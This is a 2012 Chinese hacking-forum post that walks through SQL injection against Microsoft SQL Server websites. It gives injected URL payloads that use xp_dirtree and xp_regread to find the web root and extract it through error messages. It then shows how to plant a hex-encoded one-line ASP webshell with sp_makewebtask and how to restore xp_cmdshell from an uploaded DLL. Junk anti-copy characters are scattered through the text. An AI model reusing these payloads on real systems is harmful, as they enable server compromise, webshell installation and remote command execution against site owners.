找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2163|回复: 0
打印 上一主题 下一主题

MSsqlL注入取得网站路径最好的方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:20:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好,我们exec master..xp_dirtree'd:/test'* O. l) ]1 [( u& _: o* p. W6 S
假设我们在test里有两个文件夹test1和test2在test1里又有test3
/ Q7 k) z6 ^& }. M结果显示
7 e2 z0 d# B' Z6 a0 v% x0 c6 W
+ t- P- F8 A- q' h7 Z0 j8 i$ fsubdirectory depth) Q+ |3 o% T! [+ y# X
test1 1
" W! l5 N' j5 j5 F: t' ptest3 2
" X* m2 O/ U9 j7 Gtest2 1
" y* l$ F  [4 _& ?! h7 o
7 p% e  E- s3 P# _+ K9 x8 i' d& i0 b( Y哈哈发现没有那个depth就是目录的级数! S  V4 C. w8 b+ z# d
ok了,知道怎么办了吧
& |4 S$ K1 a* x1 L4 h) ?
6 r& h& [4 N2 P0 dhttp://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
8 k5 w% R" x7 b# c% ]http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
6 H# d' _2 f* @& ehttp://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-
) @0 \- b& {: p$ X) h6 z8 p
- G2 }" j  g- p! m* x3 u只要加上id=1,就是第一级目录 。$ l3 q+ V; w/ j3 Z/ o& z& K
! r& G, u9 ^* Q1 M. e6 u
* ?% X; y' H3 G4 A+ Z8 S5 C( G
通过注册表读网站路径:1 t, B# G. C% a4 M' M' r( J3 W

& k, i( f1 H/ _1.;create table [dbo].[cyfd] ([gyfd][char](255));1 R0 Q) i8 y1 I

6 P) w, ]( `7 y7 ^2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--8 Y8 V3 i% Z% q5 x
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
8 E" `  _* y6 [/ C6 u* w' r/ \0 E) s% _$ d9 b7 [
3.and 1=(select count(*) from 临时表 where 临时字段名>1)
/ k) A3 w: e/ \7 L- ~8 e7 t$ Gand 1=(select count(*) from cyfd where gyfd > 1)
" u% V# [' V( L9 U  R2 G  `; ~* V这样IE报错,就把刚才插进去的Web路径的值报出来了
# i2 y1 O4 `+ m: [2 X9 e2 R
4 N$ h# p* L4 |/ }4.drop table cyfd;-- 删除临时表! a. W) U: e* ?, r3 M

. r6 t* q6 ?/ a4 A获得webshell方法:
3 _; e  V0 e3 J5 [1 a8 l% q1.create table cmd (a image)-- \**cmd是创建的临时表
7 w7 |! R$ T; Q/ a. G0 `
, u. X5 E% q8 f2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话1 m0 j3 r5 o9 S$ G
. L. b& ?0 _' Y

" a1 e  y. n& f' c  L; W7 `6 x. h3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
) R8 Y  A& J7 M; R: [' f1 qEXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
0 `% O2 \7 O- I
, R7 ^( s% a8 D; q! ?& x: m! Z, x9 _4.drop table cmd;-- 删除cmd临时表6 T7 g5 Y9 N  C

0 C7 x) l6 M1 T1 A$ S! J恢复xp_cmdshell方法之一:
4 o& q& u, O5 z% `4 h, B% z7 U/ ]我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:
. x/ ^5 ^/ I; Phttp://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'; U) K  I& u. Y5 Z
恢复,支持绝对路径的恢复哦。:)5 p" ]+ u3 x* ~* [$ u/ M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表